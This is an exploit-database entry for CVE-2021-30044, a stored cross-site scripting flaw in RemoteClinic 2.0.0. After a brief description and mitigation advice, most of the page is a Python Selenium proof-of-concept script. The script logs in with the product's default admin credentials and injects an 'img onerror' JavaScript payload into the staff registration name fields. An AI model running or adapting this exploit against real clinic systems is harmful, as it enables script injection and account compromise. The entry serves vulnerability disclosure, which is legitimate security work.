RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS)

vendor:

RemoteClinic

by:

nu11secur1ty

5.4

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: RemoteClinic

Affected Version From: 2.0.0

Affected Version To: 2.0.0

Patch Exists: YES

Related CWE: CVE-2021-30044

CPE: 2.3:a:remoteclinic:remoteclinic:2.0.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows, Linux, Mac

2021

RemoteClinic 2 – ‘Multiple’ Cross-Site Scripting (XSS)

A Cross-Site Scripting (XSS) vulnerability was discovered in RemoteClinic 2, which allows an attacker to inject malicious JavaScript code into the application. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'first_name', 'last_name' and 'email' fields when registering a new staff member. An attacker can exploit this vulnerability by sending a specially crafted request to the application, which will result in the execution of arbitrary JavaScript code in the context of the application.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate dynamic content. All user-supplied input should be validated and filtered before being used in the application.

Source

Exploit-DB raw data:

# Exploit Title: RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS)
# Exploit Author: nu11secur1ty
# Debug: g3ck0dr1v3r
# Date: 04/21/2021
# Vendor Homepage: https://remoteclinic.io/
# Software Link: https://github.com/remoteclinic/RemoteClinic
# CVE: CVE-2021-30044

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30044

[Exploit Program Code]

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: g3ck0dr1v3r
# CVE-2021-30044

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/RemoteClinic/login/"

#enter your login username
username="admin@domain.ext"

#enter your login password
password="remoteclinic"

#enter the element for username input field
element_for_username="user_id"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="submit"

# Dai brauzura aaa ta eba
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]

# Otvarai da ne vlazam s kasata
browser.get((website_link))

# Run...
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)

### Login
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

### Exploit
element_for_natrutvanie="submit"
browser.get(("http://localhost/RemoteClinic/staff/register.php"))

### Inner text...
browser.execute_script("document.querySelector('[name=\"first_name\"]').value = '<img src=1 onerror=alert(`Please_fix_it`)>'")
browser.execute_script("document.querySelector('[name=\"last_name\"]').value = '<img src=1 onerror=alert(`Please_fix_it`)>'")
browser.execute_script("document.querySelector('[name=\"userid\"]').value = 'nu11secur1ty@gmail.com'")
browser.execute_script("document.querySelector('[name=\"passkey\"]').value = 'password'")
browser.execute_script("document.querySelector('[name=\"contact\"]').value = '123456789'")
browser.execute_script("document.querySelector('[name=\"mobile\"]').value = '12345678910'")
browser.execute_script("document.querySelector('[name=\"skype\"]').value = 'nu11secur1ty'")
browser.execute_script("document.querySelector('[name=\"address\"]').value = 'Kurec A 31'")
browser.find_element_by_name('image').send_keys("C:\\Users\\nu11secur1ty\\Desktop\\CVE\\CVE-2021-30044\\nu11secur1ty.png")
time.sleep(5)

# Submit exploit
signInButton = browser.find_element_by_name(element_for_natrutvanie)
signInButton.click()

# Maani sa i testwai posle
time.sleep(1)
browser.get(("http://localhost/RemoteClinic/login/signout.php"))
browser.close()


print("payload is deployed...\n")
except Exception:

#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")